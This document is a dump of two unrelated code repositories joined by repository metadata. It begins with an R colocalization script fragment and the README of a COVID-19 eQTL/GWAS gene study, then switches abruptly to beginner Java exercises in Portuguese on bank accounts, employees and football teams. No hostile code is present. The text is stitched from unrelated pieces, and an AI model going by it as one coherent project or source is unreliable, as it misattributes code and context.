matrixeQTL gene-SNP pairs merge_MATEQTL_SNPInfo_CurrChr_DF <- dplyr::inner_join(Complete_MATEQTL_SNP_Gene_Pair_Data, SNPInfoData, by='variant_id') cat(sprintf("\n ===>> after creating merge_MATEQTL_SNPInfo_CurrChr_DF ")) ##==== extract fields for colocalization Coloc_CurrChr_DF_SNP <- merge_MATEQTL_SNPInfo_CurrChr_DF[, c("rs_id", "variant_id", "gene_id", "chromosome", "position", "pvalue", "FDR", "beta", "ref", "alt", "AC", "AF", "AN")] colnames(Coloc_CurrChr_DF_SNP) <- c("rs_id", "variant_id", "gene_id", "chr", "pos", "pvalue", "FDR", "slope", "ref", "alt", "AC", "AF", "AN") cat(sprintf("\n ===>> after creating Coloc_CurrChr_DF_SNP")) ##====== estimate standard error using three arguments: beta (column 8), MAF (column 12), size (column 13) CN <- colnames(Coloc_CurrChr_DF_SNP) SE_DF <- estimate_SE(Coloc_CurrChr_DF_SNP, 8, 12, 13) Coloc_CurrChr_DF_SNP <- cbind.data.frame(Coloc_CurrChr_DF_SNP, SE_DF$SE) colnames(Coloc_CurrChr_DF_SNP) <- c(CN, "slope_se") outtext <- paste0("\n ==>> Number of SNPs to be used for colocalization for the current chromosome (basically number of rows in Coloc_CurrChr_DF_SNP) : ", nrow(Coloc_CurrChr_DF_SNP)) cat(outtext, file=textfile, append=TRUE, sep="\n") ##====== analyze for each eGene, its associated SNPs and GWAS SNPs for colocalization (i.e. shared variants) bool_gene_specific_process <- FALSE for (geneIdx in 1:length(list_eGenes)) { currGene <- list_eGenes[geneIdx] cat(sprintf("\n processing eGene : %s ", currGene)) ##==== get TSS from eQTL data = eQTL position + distance from TSS idx <- which(dump_Ref_eQTL_Data[,2] == currGene) TSS_position_currgene <- (dump_Ref_eQTL_Data[idx[1], 4] + dump_Ref_eQTL_Data[idx[1], 5]) outtext <- paste0("\n *** Processing gene : ", currGene, " its TSS : ", TSS_position_currgene) cat(outtext, file=textfile, append=TRUE, sep="\n") ##===== SNPs associated with current gene ##===== *** IMPORTANT: excluding SNPs belonging to chr6 MHC locus Coloc_DF_SNP <- Coloc_CurrChr_DF_SNP[which((Coloc_CurrChr_DF_SNP[,3] == currGene) & (!((Coloc_CurrChr_DF_SNP[,4] == "chr6") & (Coloc_CurrChr_DF_SNP[,5] >= MHC_chr6_LB) & (Coloc_CurrChr_DF_SNP[,5] <= MHC_chr6_UB)))), ] outtext <- paste0("\n *** number of rows in Coloc_DF_SNP structure for the gene : ", currGene, " is (processed for colocalization) : ", nrow(Coloc_DF_SNP)) cat(outtext, file=textfile, append=TRUE, sep="\n") if (nrow(Coloc_DF_SNP) == 0) { next } ##===== colocalization between the GWAS SNPs and the dumped SNPs merge_SNP_GWAS_Data <- merge(Coloc_DF_SNP, GWAS_Data_CurrChr, by=c("chr", "pos"), all=FALSE, suffixes=c("_snp","_gwas")) if (nrow(merge_SNP_GWAS_Data) == 0) { next } ##===== check for non-NA fields NA_idx <- which((is.na(merge_SNP_GWAS_Data$pval_nominal)) | (is.na(merge_SNP_GWAS_Data$pvalue)) | (is.na(merge_SNP_GWAS_Data$slope_snp)) | (is.na(merge_SNP_GWAS_Data$slope_se_snp)) | (is.na(merge_SNP_GWAS_Data$AF))) if (length(NA_idx) > 0) { merge_SNP_GWAS_Data <- merge_SNP_GWAS_Data[-c(NA_idx), ] } if (nrow(merge_SNP_GWAS_Data) == 0) { next } ##=== dump the input SNPs for colocalization analysis in the specified output directory ##=== for processing the current gene CurrGene_OutDir <- paste0(BaseOutDir, '/GeneID_', currGene) system(paste("mkdir -p", CurrGene_OutDir)) write.table(Coloc_DF_SNP, paste0(CurrGene_OutDir, '/dump_SNPs_for_colocalization.txt'), row.names=F, col.names=T, sep="\t", quote=F, append=F) write.table(merge_SNP_GWAS_Data, paste0(CurrGene_OutDir, '/merged_SNPs_GWAS_input_colocalization.txt'), row.names=F, col.names=T, sep="\t", quote=F, append=F) ##================= ## main colocalization routine ##================= if (Use_case_control_stat == 1) { ##====== cc for dataset1, ##====== N: number of SNPs for this gene dataset1=list(pvalues=merge_SNP_GWAS_Data$pval_nominal, type="cc", s=case_control_fraction, N=nrow(GWAS_Data_CurrChr)) } else if (Use_case_control_stat == 2) { ##====== cc for dataset1, ##====== N: number of SNPs for this gene ##====== but here we also specify the GWAS data beta and varbeta stats dataset1=list(pvalues=merge_SNP_GWAS_Data$pval_nominal, type="cc", s=case_control_fraction, N=nrow(GWAS_Data_CurrChr), beta=merge_SNP_GWAS_Data$slope_gwas, varbeta=(merge_SNP_GWAS_Data$slope_se_gwas * merge_SNP_GWAS_Data$slope_se_gwas)) } else { ##==== quant for dataset1 ##====== N: number of SNPs for this gene ## from the standard error, compute the variance, ## by Multiplying the square of the standard error by the sample size dataset1=list(pvalues=merge_SNP_GWAS_Data$pval_nominal, type="quant", N=nrow(GWAS_Data_CurrChr), beta=merge_SNP_GWAS_Data$slope_gwas, varbeta=(merge_SNP_GWAS_Data$slope_se_gwas * merge_SNP_GWAS_Data$slope_se_gwas)) } ## quant for dataset2, but using stdev of gene expression ## N: number of SNPs for this chromosome (used for colocalization) dataset2 <- list(pvalues=merge_SNP_GWAS_Data$pvalue, type="quant", N=nrow(Coloc_DF_SNP), beta=merge_SNP_GWAS_Data$slope_snp, varbeta=(merge_SNP_GWAS_Data$slope_se_snp * merge_SNP_GWAS_Data$slope_se_snp), sdY=stdev_gene_expr) ## colocalization function according to prior probability settings outtext <- paste0("\n *** Using prior probability p12_val : ", p12_val) cat(outtext, file=textfile, append=TRUE, sep="\n") result <- coloc.abf(dataset1=dataset1, dataset2=dataset2, MAF=merge_SNP_GWAS_Data$AF, p12=p12_val) ##======== colocalization results - plot sensitivity of the posterior probability computation if (!is.null(result)){ pdf(paste0(CurrGene_OutDir, "/coloc_abf_res_sensitivity_plot.pdf")) try(sensitivity(result,rule="H4 > 0.5")) dev.off() } ##======== colocalization results - two data frames ##======== let N = nrow(merge_eQTL_GWAS_Data) ##======== result$summary: summary statistic of posterior probability (considering all SNPs) ##======== result$results: detailed statistic of posterior probability per SNP ##======== Column 1: SNP.NUM where NUM = index number of SNP - varies from 1 to N write.table(result$summary, paste0(CurrGene_OutDir, '/coloc_abf_summary_DF1.bed'), row.names=T, col.names=T, sep="\t", quote=F, append=F) write.table(result$results, paste0(CurrGene_OutDir, '/coloc_abf_results_DF2.bed'), row.names=F, col.names=T, sep="\t", quote=F, append=F) ##======== modify the results (DF2) file to add SNP IDs in addition to the SNP.NUM format resDF <- result$results CN <- colnames(resDF) temp_SNP_vec <- as.vector(paste0("SNP.", seq(1,nrow(merge_SNP_GWAS_Data)))) m <- match(resDF[,1], temp_SNP_vec) idx_r <- which(!is.na(m)) idx_t <- m[!is.na(m)] # when data frame merging was done by chr and pos fields resDF <- cbind.data.frame(resDF[idx_r, 1], merge_SNP_GWAS_Data[idx_t, c("rs_id_snp", "pos")], resDF[idx_r, 2:ncol(resDF)]) colnames(resDF) <- c(CN[1], 'rs_id', 'pos', CN[2:length(CN)]) write.table(resDF, paste0(CurrGene_OutDir, '/coloc_abf_results_detailed.bed'), row.names=F, col.names=T, sep="\t", quote=F, append=F) outtext <- paste0("\n *** creating detailed results -- entries in resDF : ", nrow(resDF), " matching SNP entries : ", length(idx_r)) cat(outtext, file=textfile, append=TRUE, sep="\n") } ##===== delete temporary files if (file.exists(GWAS_File_CurrChr)) { system(paste("rm", GWAS_File_CurrChr)) } <file_sep>/README.md Inferring potential causal genes for diseases, and a case study on COVID-19. ------------------------------------------------------------------------------ Developers: <NAME> (<EMAIL>) and <NAME> (<EMAIL>). Vijayanand and Ay Labs Division of Vaccine Discovery La Jolla Institute for Immunology La Jolla, CA 92037, USA ************************** This repository shows how to identify potential causal genes relevant in diseases/traits by taking advantage of 2 statistical methods, transcriptome-wide association studies (TWAS) and colocalization. Both TWAS and colocalization use expression quantitative trait loci (eQTL) data of a specific cell type or tissue and genome wide association studies (GWAS) with respect to the disease/trait of interest and find the causal genes (colocalization also returns the corresponding variants or SNPs) jointly associated with both eQTL and GWAS summary statistics. This repository primarily focusses on analyzing the causal genes of COVID-19. Expression and eQTL data provided in this repository were taken from the DICE database of immune cell gene expression, epigenomics and expression quantitative trait loci (https://dice-database.org). GWAS summary statistics was downloaded from The COVID-19 Host Genetics Initiative (https://www.covid19hg.org), release 5 (January 18 2021). ************************** Description ------------------------ First of all, git clone this repository so you can run this tutorial in your own system. You'll find the next 4 main folders: 1.- *example_data* which contains GWAS summary statistics, gene expression and eQTLs data. 2.- *overlap* contains scripts to run the overlap analysis between GWAS and eQTL, and a README file for instructions. 3.- *colocalization* contains data, scripts and a README with detailed instructions for running the colocalization analysis. 4.- *twas* contains scripts and a README file to perform the TWAS analysis. *Overlap analysis* This analysis consists in finding overlaping snps that are both eQTLs and GWAS-associated variants or in LD with a GWAS-associated variant. Steps: 1.- Find significant GWAS snps (pval<5e-08). 2.- Get LD snps for all GWAS significant snps. 3.- Overlap GWAS significant + LD snps with eQTL, taking into account chromosome and position. To see the detailed information for this analysis, check the *overlap* folder and underlying README. *Colocalization analysis* Colocalization tries to identify causal genetic variants in a given region that are associated with both input summary statistics, i.e. both eQTL and GWAS statistics. We have implemented the tool *coloc* (described in https://github.com/chr1swallace/coloc) which is the most widely used package for colocalization analysis. Steps: 1.- Run coloc.abf function using GWAS significant snps and eQTL information. 2.- Summarize and filter results using PP4 > 0.8 and PP4/PP3 ratio > 5. 3.- Keep only colocalized variant that are eQTLs or in LD with an eQTL. For detailed description, check the *colocalization* folder and underlying README. *TWAS* TWAS analysis infers potential causal genes by asking if the effects in gene expression is relevant in a given disease. TWAS uses transcriptome prediction models and GWAS information to predict the target genes. Steps: 1.- Build transcriptome prediction models. 2.- Perform TWAS analysis using prediction models and GWAS summary statistics. 3.- Filter TWAS results by the number of tests performed. Detailed information for this analysis can be found in README.md file in the *twas* folder. Citation -------------- Please cite the following manuscript if you are using this repository: <NAME>, <NAME>, <NAME>, <NAME>, <NAME>, <NAME>, <NAME>, <NAME>, and <NAME>, COVID-19 genetic risk variants are associated with expression of multiple genes in diverse immune cell types, bioRxiv (https://www.biorxiv.org/content/10.1101/2020.12.01.407429v1), https://doi.org/10.1101/2020.12.01.407429 Contact -------------- Please email to <NAME> (<EMAIL>) and / or <NAME> (<EMAIL>) for any questions or suggestions.
7ea44412b7315ba5fdaff44953aa1bcacfebca4a
[ "Markdown", "Python", "R" ]
8
Markdown
souryacs/DICE_COVID-19_GWAS_study
c84560c8cb636cf898f8154d2ae481cbdde10897
e7712c33d123a46ccf98745e8244bcb00199bb8f
refs/heads/master
<file_sep> import java.io.FileNotFoundException; import java.io.FileReader; import java.util.Scanner; public class Programa2 { public static void main(String[] args){ // TODO Auto-generated method stub try { Scanner leitor = new Scanner(new FileReader("texto.txt")); while(leitor.hasNextLine()) { System.out.println(leitor.nextLine()); } } catch (FileNotFoundException e) { // TODO: handle exception System.out.println("Arquivo não encontrado"); } } } <file_sep> public class Vendedor extends Funcionario{ @Override public boolean calculaSalario(double horaExtra){ if(this.salario <= 1300) { double valorHorasExtras = ((this.salario/30) / 8 ) * horaExtra; this.salario = (this.salario - (this.salario * 0.06)) + valorHorasExtras; return true; }else { System.out.println("Valores invalidos"); return false; } } @Override public boolean calculaSalario() { if(this.salario <= 1300) { this.salario = this.salario - (this.salario * 0.06); return true; }else { System.out.println("Valores invalidos"); return false; } } @Override public double bonifica() { return this.salario * 0.10; } } <file_sep>package br.com.ifsuldeminas.model; public class Funcionario { private String nome; private String rg; private String dataDeEntrada; private boolean estaNaEmpresa; private double salario; public String getNome() { return nome; } public void setNome(String nome) { this.nome = nome; } public String getRg() { return rg; } public void setRg(String rg) { this.rg = rg; } public String getDataDeEntrada() { return dataDeEntrada; } public void setDataDeEntrada(String dataDeEntrada) { this.dataDeEntrada = dataDeEntrada; } //pode-se usar o get ao invez de is public boolean isEstaNaEmpresa() { return estaNaEmpresa; } public void setEstaNaEmpresa(boolean estaNaEmpresa) { this.estaNaEmpresa = estaNaEmpresa; } public double getSalario() { return salario; } public void setSalario(double salario) { this.salario = salario; } public void bonifica(double valor){ salario += valor; } public void demite(){ estaNaEmpresa = false; } public double calculaGanhoAnual(){ return salario * 12; } public void calculaSalario(double valor){ this.salario = valor - (valor * 0.06); } //sobrecarga de metodo public void calculaSalario(double valor, double horaExtra){ double valorHorasExtras = ((valor/30) / 8 ) * horaExtra; this.salario = (valor - (valor * 0.06)) + valorHorasExtras; } public void imprimeFuncionario() { System.out.println("Funcionarios:"); System.out.println(nome); System.out.println(rg); System.out.println(dataDeEntrada); System.out.println(salario); System.out.println(estaNaEmpresa); } } <file_sep>import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStream; import java.io.OutputStreamWriter; public class Programa4 { public static void main(String[] args) { // TODO Auto-generated method stub try { InputStream is = new FileInputStream("texto.txt"); InputStreamReader isr = new InputStreamReader(is); BufferedReader br = new BufferedReader(isr); OutputStream os = new FileOutputStream("saida2.txt"); OutputStreamWriter osw = new OutputStreamWriter(os); BufferedWriter gravador = new BufferedWriter(osw); gravador.write("Ola tudo bem?"); gravador.write("Eu sou boa"); gravador.close(); String texto = br.readLine(); while(texto != null) { System.out.println(texto); texto = br.readLine(); } } catch (FileNotFoundException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } <file_sep>//Especificação da classe Filme class Filme{ //Atributos da classe Filme int codigo; String nome; double valor; boolean estaDisponivel; void locar(){ estaDisponivel = false; } void devolver(){ estaDisponivel = true; } } class Programa{ public static void main(String[] args) { //Instancia da classe Filme. //A variavel filme recebe a referencia para acessar o objeto Filme filme = new Filme(); filme.codigo = 123; filme.nome = "A era do gelo"; filme.valor = 2.50; filme.locar(); Filme filme2 = new Filme(); filme2.codigo = 456; filme2.nome = "A era do gelo 2"; filme2.valor = 3.60; Filme filme3 = new Filme(); filme3.codigo = 789; filme3.nome = "A era do gelo 3"; filme3.valor = 3.60; Filme filmes[] = new Filme[3]; filmes[0] = filme; filmes[1] = filme2; filmes[2] = filme3; //For estatico /* for(int i = 0; i < 3; i++){ System.out.println("Filmes["+i+"] = "+filmes[i]); System.out.println("Codigo: "+filmes[i].codigo); System.out.println("Nome: "+filmes[i].nome); System.out.println("Valor: R$"+filmes[i].valor); System.out.println(); } */ //Fors dinamicos /* for(int i = 0; i < filmes.length; i++){ System.out.println("Filmes["+i+"] = "+filmes[i]); System.out.println("Codigo: "+filmes[i].codigo); System.out.println("Nome: "+filmes[i].nome); System.out.println("Valor: R$"+filmes[i].valor); System.out.println(); } */ /*For encadeado Para cada filmes contidos na estrutura "filmes" coloque o endereço de memória na variavel "film" */ for(Filme film : filmes){ System.out.println("Codigo: "+film.codigo); System.out.println("Nome: "+film.nome); System.out.println("Valor: R$"+film.valor); System.out.println(); } } }<file_sep>package br.com.ifsuldeminas.teste; import br.com.ifsuldeminas.exception.SaldoInsuficienteException; import br.com.ifsuldeminas.exception.SaqueExcedidoException; import br.com.ifsuldeminas.model.Cliente; import br.com.ifsuldeminas.model.ContaCorrente; import br.com.ifsuldeminas.model.ContaPoupanca; public class Programa { public static void main(String[] args) { /*Cliente cliente = new Cliente(); cliente.setNome("Luziane"); cliente.setCpf("139.192.896-25"); Conta conta = new Conta(); conta.setNumeroConta(123); conta.setTitular(cliente); conta.depositar(2000.00); conta.imprime(); Funcionario funcionario = new Funcionario(); funcionario.setDataDeEntrada("12/02/2019"); funcionario.setNome("<NAME>"); funcionario.setRg("12.123.456-9"); funcionario.setSalario(2500.00); funcionario.setEstaNaEmpresa(true); funcionario.imprimeFuncionario(); */ Cliente cliente1 = new Cliente(); cliente1.setNome("Luziane"); cliente1.setCpf("139.192.896-25"); ContaCorrente cc = new ContaCorrente(); cc.setNumeroConta(123); cc.setTitular(cliente1); cc.depositar(5000.0); cc.imprime(); try { cc.sacar(1900); } catch (SaldoInsuficienteException e) { System.out.println(e.getMessage()); //e.printStackTrace(); }catch(IllegalArgumentException e) { System.out.println(e.getMessage()); }catch(SaqueExcedidoException e) { System.out.println(e.getMessage()); }catch(Exception e) { System.out.println("Outro erro"); } cc.imprime(); Cliente cliente2 = new Cliente(); cliente2.setNome("Liliane"); cliente2.setCpf("139.192.896-25"); ContaPoupanca cp = new ContaPoupanca(); cp.setNumeroConta(123); cp.setTitular(cliente2); cp.depositar(1000.00); cp.imprime(); cp.sacar(200.00); cp.imprime(); } } <file_sep>class PrincipaisRetiradas{ public static void main(String[] args){ int primeiraSemana = 4; int segundaSemana = 5; int terceiraSemana = 2; int quartaSemana = 7; int totalMes = primeiraSemana + segundaSemana + terceiraSemana + quartaSemana; System.out.println(totalMes); } }<file_sep>package br.com.ifsuldeminas.model; public abstract class Conta { protected int numeroConta; protected Cliente titular; protected double saldo; public int getNumeroConta() { return numeroConta; } public void setNumeroConta(int numeroConta) { this.numeroConta = numeroConta; } public Cliente getTitular() { return titular; } public void setTitular(Cliente titular) { this.titular = titular; } public void imprime() { System.out.println("Clientes:"); System.out.println(numeroConta); System.out.println(titular.getCpf()); System.out.println(titular.getNome()); System.out.println(saldo); } } <file_sep>class Funcionario{ private String nome; private String departamento; private double salario; private String dataEntrada; private String rg; private boolean estaNaEmpresa; public void calculaSalario(double valor){ this.salario = valor - (valor * 0.06); } //sobrecarga de metodo public void calculaSalario(double valor, double horaExtra){ double valorHorasExtras = ((valor/30) / 8 ) * horaExtra; this.salario = (valor - (valor * 0.06)) + valorHorasExtras; } public void setNome(String nome){ this.nome = nome; } public String getNome(){ return this.nome; } public void setDepartamento(String departamento){ this.departamento = departamento; } public String getDepartamento(){ return this.departamento; } public void setSalario(double salario){ this.salario = salario; } public double getSalario(){ return this.salario; } public void setDataEntrada(String dataEntrada){ this.dataEntrada = dataEntrada; } public String getDataEntrada(){ return this.dataEntrada; } public void setRg(String rg){ this.rg = rg; } public String getRg(){ return this.rg; } public void setEstaNaEmpresa(boolean estaNaEmpresa){ this.estaNaEmpresa = estaNaEmpresa; } public boolean getEStaNaEmpresa(){ return this.estaNaEmpresa; } public void bonifica(double valor){ salario += valor; } public void demite(){ estaNaEmpresa = false; } public double calculaGanhoAnual(){ return salario * 12; } } class Programa{ public static void main(String[] args) { Funcionario f1 = new Funcionario(); f1.setNome("Luziane"); f1.setRg("139.192.896-25"); f1.setDepartamento("TI"); f1.setDataEntrada("11/02/2019"); f1.setSalario(2000); f1.setEstaNaEmpresa(true); System.out.println("Nome: "+ f1.getNome()); System.out.println("Rg: "+ f1.getRg()); System.out.println("Departamento: "+ f1.getDepartamento()); System.out.println("Data de entrada: "+ f1.getDataEntrada()); System.out.println("Salario: "+ f1.getSalario()); System.out.println("Funcionario esta na empresa: "+f1.getEStaNaEmpresa()); /* f1.calculaSalario(1000); System.out.println(f1.salario); f1.calculaSalario(1000,3); System.out.println(f1.salario); */ } }<file_sep>package br.com.ifsuldeminas.exception; public class SaqueExcedidoException extends RuntimeException{ public SaqueExcedidoException(String message) { super(message); } } <file_sep>class Conta{ private int numeroConta; private Cliente titular; private double saldo; private static int contador; /*Construtor Default public Conta(){ } */ //Construtor não é um método pois não retorna nehum valor e não pode ser chamado a todo momento /*public Conta(int numeroConta){ this.numeroConta = numeroConta; } */ //Sobrecarga de construtor public Conta(Cliente titular){ this.titular = titular; //contador = contador + 1; this.numeroConta = contador++; } public static int getContador(){ return contador; } public void setNumeroConta(int numeroConta){ this.numeroConta = numeroConta; } public int getNumeroConta(){ return this.numeroConta; } public void setTitular(Cliente titular){ this.titular = titular; } public Cliente getTitular(){ return this.titular; } public double getSaldo(){ return saldo; } //metodo sem retorno (executa uma ação e não retorna nada) //metodo com retorno boolean sacar(double valor){ if(saldo >= valor){ saldo -= valor; return true; }else{ return false; } } void depositar(double valor){ saldo += valor; } boolean transferencia(Conta contaDestino, double valor){ if(saldo >= valor){ saldo -= valor; contaDestino.saldo += valor; return true; }else{ return false; } } } class Cliente{ private String nome; private String cpf; //Construtor public Cliente(String cpf){ this.cpf = cpf; } public void setNome(String nome){ this.nome = nome; } public String getNome(){ return this.nome; } public void setCpf(String cpf){ this.cpf = cpf; } public String getCpf(){ return this.cpf; } } class Programa{ public static void main(String[] args) { Cliente cliente = new Cliente("139.192.896.25"); Cliente cliente1 = new Cliente("123.456.789-01"); cliente.setNome("Luziane"); cliente1.setNome("Liliane"); //cliente.setCpf(); Conta conta = new Conta(cliente); Conta conta2 = new Conta(cliente1); //conta.setTitular(cliente); //conta.setNumeroConta(123); conta.depositar(5000.00); System.out.println(conta.getTitular().getNome()); System.out.println(conta.getTitular().getCpf()); System.out.println(conta.getNumeroConta()); System.out.println(conta.getSaldo()); System.out.println("Total de contas criadas: "+ Conta.getContador()); System.out.println(conta2.getTitular().getNome()); System.out.println(conta2.getTitular().getCpf()); System.out.println(conta2.getNumeroConta()); System.out.println(conta2.getSaldo()); System.out.println("Total de contas criadas: "+ Conta.getContador()); } }<file_sep>package br.com.ifsuldeminas.exception; public class SaldoInsuficienteException extends RuntimeException{ public SaldoInsuficienteException(String message) { super(message); } } <file_sep>//Criar array com 11 posições public class Main { public static void main(String[] args) { Jogador jogador1 = new Jogador(); jogador1.nome = "Joao"; jogador1.dataDeNascimento = "01/01/1999"; jogador1.setPosicao("Goleiro"); Jogador jogador2 = new Jogador(); jogador2.nome = "Jose"; jogador2.dataDeNascimento = "01/02/1969"; jogador2.setPosicao("Atacante"); Jogador jogador3 = new Jogador(); jogador3.nome = "Matheus"; jogador3.dataDeNascimento = "03/04/1978"; jogador3.setPosicao("Zagueiro"); Jogador jogador4 = new Jogador(); jogador4.nome = "Marcos"; jogador4.dataDeNascimento = "17/08/1956"; jogador4.setPosicao("Centro avante"); Jogador jogador5 = new Jogador(); jogador5.nome = "Elias"; jogador5.dataDeNascimento = "07/12/1896"; jogador5.setPosicao("Meio de Campo"); Jogador jogador6 = new Jogador(); jogador6.nome = "Moiseis"; jogador6.dataDeNascimento = "01/02/1999"; jogador6.setPosicao("Lateral Direito"); Jogador jogador7 = new Jogador(); jogador7.nome = "Joaquim"; jogador7.dataDeNascimento = "07/03/1999"; jogador7.setPosicao("Lateral Esquerdo"); Jogador jogador8 = new Jogador(); jogador8.nome = "Ezequiel"; jogador8.dataDeNascimento = "25/11/1998"; jogador8.setPosicao("Pivo"); Jogador jogador9 = new Jogador(); jogador9.nome = "Jeremias"; jogador9.dataDeNascimento = "14/06/1995"; jogador9.setPosicao("Zagueiro"); Jogador jogador10 = new Jogador(); jogador10.nome = "Gustavo"; jogador10.dataDeNascimento = "13/07/1993"; jogador10.setPosicao("Reserva"); Jogador[] jogadores1 = new Jogador[10]; Tecnico tecnico1 = new Tecnico(); tecnico1.nome = "Titi"; tecnico1.dataDeNascimento = "03/09/1986"; tecnico1.setEspecialidade("Atacante"); Equipe equipe1 = new Equipe(); equipe1.setNome("Corinthians"); equipe1.setCidade("Rio de Janeiro"); equipe1.setTecnico(tecnico1); equipe1.setJogadores(jogadores1); equipe1.adicionaJogador(jogador1); equipe1.adicionaJogador(jogador2); equipe1.adicionaJogador(jogador3); equipe1.adicionaJogador(jogador4); equipe1.adicionaJogador(jogador5); equipe1.adicionaJogador(jogador6); equipe1.adicionaJogador(jogador7); equipe1.adicionaJogador(jogador8); equipe1.adicionaJogador(jogador9); equipe1.adicionaJogador(jogador10); Jogador jogador11 = new Jogador(); jogador11.nome = "Douglas"; jogador11.dataDeNascimento = "01/01/1999"; jogador11.setPosicao("Goleiro"); Jogador jogador22 = new Jogador(); jogador22.nome = "William"; jogador22.dataDeNascimento = "01/02/1969"; jogador22.setPosicao("Atacante"); Jogador jogador33 = new Jogador(); jogador33.nome = "Kaka"; jogador33.dataDeNascimento = "03/04/1978"; jogador33.setPosicao("Zagueiro"); Jogador jogador44 = new Jogador(); jogador44.nome = "Paulo"; jogador44.dataDeNascimento = "17/08/1956"; jogador44.setPosicao("Centro avante"); Jogador jogador55 = new Jogador(); jogador55.nome = "Tome"; jogador55.dataDeNascimento = "07/12/1896"; jogador55.setPosicao("Meio de Campo"); Jogador jogador66 = new Jogador(); jogador66.nome = "Jeferson"; jogador66.dataDeNascimento = "01/02/1999"; jogador66.setPosicao("Lateral Direito"); Jogador jogador77 = new Jogador(); jogador77.nome = "Jesuino"; jogador77.dataDeNascimento = "07/03/1999"; jogador77.setPosicao("Lateral Esquerdo"); Jogador jogador88 = new Jogador(); jogador88.nome = "Neymar"; jogador88.dataDeNascimento = "25/11/1998"; jogador88.setPosicao("Pivo"); Jogador jogador99 = new Jogador(); jogador99.nome = "Robson"; jogador99.dataDeNascimento = "14/06/1995"; jogador99.setPosicao("Zagueiro"); Jogador jogador100 = new Jogador(); jogador100.nome = "Thomas"; jogador100.dataDeNascimento = "13/07/1993"; jogador100.setPosicao("Reserva"); Jogador[] jogadores2 = new Jogador[10]; Tecnico tecnico2 = new Tecnico(); tecnico2.nome = "Maurinho"; tecnico2.dataDeNascimento = "03/09/1986"; tecnico2.setEspecialidade("Defesa"); Equipe equipe2 = new Equipe(); equipe2.setNome("São Paulo"); equipe2.setCidade("São Paulo"); equipe2.setTecnico(tecnico1); equipe2.setJogadores(jogadores2); equipe2.adicionaJogador(jogador11); equipe2.adicionaJogador(jogador22); equipe2.adicionaJogador(jogador33); equipe2.adicionaJogador(jogador44); equipe2.adicionaJogador(jogador55); equipe2.adicionaJogador(jogador66); equipe2.adicionaJogador(jogador77); equipe2.adicionaJogador(jogador88); equipe2.adicionaJogador(jogador99); equipe2.adicionaJogador(jogador100); Partida p = new Partida(); p.setEquipe(equipe1); p.setEquipe(equipe2); p.setData("14/02/2019"); p.setEstadio("Morumbi"); System.out.println("--------------------Copa Paulista--------------------"); System.out.println("Partida: "+p.getEquipe(equipe1).getNome() + " x " + p.getEquipe(equipe2).getNome()); System.out.println("Estadio: "+p.getEstadio()); System.out.println("Data: "+p.getData()); System.out.println("--------------------Informações do time da Casa--------------------"); System.out.println("Nome de clube: "+equipe1.getNome()); System.out.println("Tecnico: "+equipe1.getTecnico().getNome()); System.out.println("Especialidade: "+equipe1.getTecnico().getEspecialidade()); System.out.println("Destaque do time: "+jogador1.getNome()); System.out.println("Posição: "+jogador1.getPosicao()); System.out.println("Data de nascimento: "+jogador1.getDataDeNascimento()); System.out.println("--------------------Escalação do time da casa-------------------- "); for(Jogador j:equipe1.getJogadores()) { System.out.println(j.nome + " - " + j.getPosicao()); } System.out.println("--------------------Informações do time visitante--------------------"); System.out.println("Nome de clube: "+equipe2.getNome()); System.out.println("Tecnico: "+equipe2.getTecnico().getNome()); System.out.println("Especialidade: "+equipe2.getTecnico().getEspecialidade()); System.out.println("Destaque do time: "+jogador88.getNome()); System.out.println("Posição: "+jogador88.getPosicao()); System.out.println("Data de nascimento: "+jogador88.getDataDeNascimento()); System.out.println("--------------------Escalação do time visitante-------------------- "); for(Jogador j:equipe2.getJogadores()) { System.out.println(j.nome + " - " + j.getPosicao()); } } } <file_sep>class Conta{ int numeroConta; Cliente titular; double saldo; //metodo sem retorno (executa uma ação e não retorna nada) //metodo com retorno boolean sacar(double valor){ if(saldo >= valor){ saldo -= valor; return true; }else{ return false; } } void depositar(double valor){ saldo += valor; } boolean transferencia(Conta contaDestino, double valor){ if(saldo >= valor){ saldo -= valor; contaDestino.saldo += valor; return true; }else{ return false; } } } class Cliente{ String nome; String cpf; } class Funcionario{ String nome; String departamento; double salario; String dataEntrada; String rg; boolean estaNaEmpresa; void bonifica(double valor){ salario += valor; } void demite(){ estaNaEmpresa = false; } double calculaGanhoAnual(){ return salario * 12; } } class Programa{ public static void main(String[] args) { Cliente cliente = new Cliente(); cliente.nome = "Luziane"; cliente.cpf = "139.192.896.25"; Conta conta = new Conta(); conta.titular = cliente; conta.numeroConta = 123; conta.saldo = 500; System.out.println(conta.titular.nome); System.out.println(conta.titular.cpf); System.out.println(conta.numeroConta); System.out.println(conta.saldo); /*conta.sacar(200); conta.depositar(1000); if(conta.sacar(300) == true){ System.out.println("Saque realizada com sucesso."); }else{ System.out.println("Saque nao realizada com sucesso."); } conta.depositar(1000); Conta conta2 = new Conta(); conta2.numeroConta = 2; conta2.titular = "Liliane"; conta2.saldo = 500; if(conta.transferencia(conta2,300) == true){ System.out.println("Transferencia realizada com sucesso."); }else{ System.out.println("Transferencia nao realizada com sucesso."); } System.out.println(conta.numeroConta); System.out.println(conta.titular); System.out.println(conta.saldo); System.out.println(conta2.numeroConta); System.out.println(conta2.titular); System.out.println(conta2.saldo); */ /*Funcionario funcionario1 = new Funcionario(); funcionario1.nome = "Luziane"; funcionario1.departamento = "TI"; funcionario1.salario = 4500.00; funcionario1.dataEntrada = "01/01/2019"; funcionario1.rg = "12.345.678.90"; funcionario1.estaNaEmpresa = true; funcionario1.bonifica(300); //funcionario1.demite(); System.out.println("Nome: "+funcionario1.nome); System.out.println("Departamento: "+funcionario1.departamento); System.out.println("Salario: "+funcionario1.salario); System.out.println("Data de entrada: "+funcionario1.dataEntrada); System.out.println("RG: "+funcionario1.rg); System.out.println("Status: "+funcionario1.estaNaEmpresa); System.out.println("Ganho anual: "+funcionario1.calculaGanhoAnual()); */ } }
0b268d9dd2e31545c26461c2da71ab4f35813022
[ "Java" ]
14
Java
LuzianeFreitas/Curso-de-Java-e-Orientacao-a-Objetos
262d2061fb78c320e4ba8e42081a9e7053dfbd13
1b2ea53d15653012c544c18631e09cd7df61e66c
refs/heads/master
